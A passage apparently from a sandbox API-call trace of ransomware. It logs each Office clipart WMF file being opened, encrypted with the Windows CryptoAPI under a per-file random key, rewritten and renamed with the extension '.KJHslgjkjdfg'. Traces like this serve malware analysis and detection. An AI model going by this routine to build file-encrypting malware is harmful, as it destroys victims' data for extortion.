lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.412] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.412] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.412] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.412] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.413] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.413] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.413] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.413] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2d6c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2d6c, lpOverlapped=0x0) returned 1 [0204.413] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2d70, dwBufLen=0x2d70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2d70) returned 1 [0204.414] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.414] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2d70, lpOverlapped=0x0) returned 1 [0204.414] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.414] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2e44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.414] SetEndOfFile (hFile=0x130) returned 1 [0204.416] GetProcessHeap () returned 0x2ef0000 [0204.416] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.416] GetProcessHeap () returned 0x2ef0000 [0204.416] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.416] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf.kjhslgjkjdfg")) returned 1 [0204.418] CloseHandle (hObject=0x130) returned 1 [0204.418] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2209e400, ftCreationTime.dwHighDateTime=0x1be1b5b, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2209e400, ftLastWriteTime.dwHighDateTime=0x1be1b5b, nFileSizeHigh=0x0, nFileSizeLow=0x1f50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0215076.WMF", cAlternateFileName="")) returned 1 [0204.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.418] GetProcessHeap () returned 0x2ef0000 [0204.418] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.418] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.419] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.419] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.419] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.419] GetProcessHeap () returned 0x2ef0000 [0204.419] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.419] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.419] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.419] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.421] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.421] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.421] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.421] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.421] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.422] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.422] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.422] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.422] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1f50, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1f50, lpOverlapped=0x0) returned 1 [0204.423] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f50, dwBufLen=0x1f50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f50) returned 1 [0204.423] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.423] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1f50, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1f50, lpOverlapped=0x0) returned 1 [0204.423] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.423] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2024, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.424] SetEndOfFile (hFile=0x130) returned 1 [0204.426] GetProcessHeap () returned 0x2ef0000 [0204.426] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.426] GetProcessHeap () returned 0x2ef0000 [0204.426] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.426] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf.kjhslgjkjdfg")) returned 1 [0204.428] CloseHandle (hObject=0x130) returned 1 [0204.428] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x81ce, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0215210.WMF", cAlternateFileName="")) returned 1 [0204.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.429] GetProcessHeap () returned 0x2ef0000 [0204.429] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.429] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.429] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.429] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0204.431] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.431] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.431] GetProcessHeap () returned 0x2ef0000 [0204.431] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.432] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.432] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.432] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.432] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.432] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.432] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.432] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.432] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.432] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.432] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.432] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.432] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x81ce, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x81ce, lpOverlapped=0x0) returned 1 [0204.434] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x81d0, dwBufLen=0x81d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x81d0) returned 1 [0204.434] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.434] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x81d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x81d0, lpOverlapped=0x0) returned 1 [0204.434] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.434] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x82a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.435] SetEndOfFile (hFile=0x130) returned 1 [0204.437] GetProcessHeap () returned 0x2ef0000 [0204.437] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.437] GetProcessHeap () returned 0x2ef0000 [0204.438] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.438] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf.kjhslgjkjdfg")) returned 1 [0204.439] CloseHandle (hObject=0x130) returned 1 [0204.439] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x852fb100, ftCreationTime.dwHighDateTime=0x1be4927, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x852fb100, ftLastWriteTime.dwHighDateTime=0x1be4927, nFileSizeHigh=0x0, nFileSizeLow=0x244a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0215709.WMF", cAlternateFileName="")) returned 1 [0204.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.441] GetProcessHeap () returned 0x2ef0000 [0204.441] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.441] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.441] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.441] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0204.443] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.443] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.443] GetProcessHeap () returned 0x2ef0000 [0204.444] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.444] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.444] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.444] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.444] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.444] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.444] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.444] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.444] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.444] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.444] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.444] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.444] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x244a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x244a, lpOverlapped=0x0) returned 1 [0204.448] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2450, dwBufLen=0x2450 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2450) returned 1 [0204.448] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.448] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2450, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2450, lpOverlapped=0x0) returned 1 [0204.448] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.448] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2524, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.448] SetEndOfFile (hFile=0x130) returned 1 [0204.451] GetProcessHeap () returned 0x2ef0000 [0204.451] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.451] GetProcessHeap () returned 0x2ef0000 [0204.451] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.451] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf.kjhslgjkjdfg")) returned 1 [0204.453] CloseHandle (hObject=0x130) returned 1 [0204.453] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87920b00, ftCreationTime.dwHighDateTime=0x1be4927, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87920b00, ftLastWriteTime.dwHighDateTime=0x1be4927, nFileSizeHigh=0x0, nFileSizeLow=0x45a2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0215710.WMF", cAlternateFileName="")) returned 1 [0204.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.454] GetProcessHeap () returned 0x2ef0000 [0204.454] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.454] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.454] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.454] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0204.456] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.456] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.456] GetProcessHeap () returned 0x2ef0000 [0204.456] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.456] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.456] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.456] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.456] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.457] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.457] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.457] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.457] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.457] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.457] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, 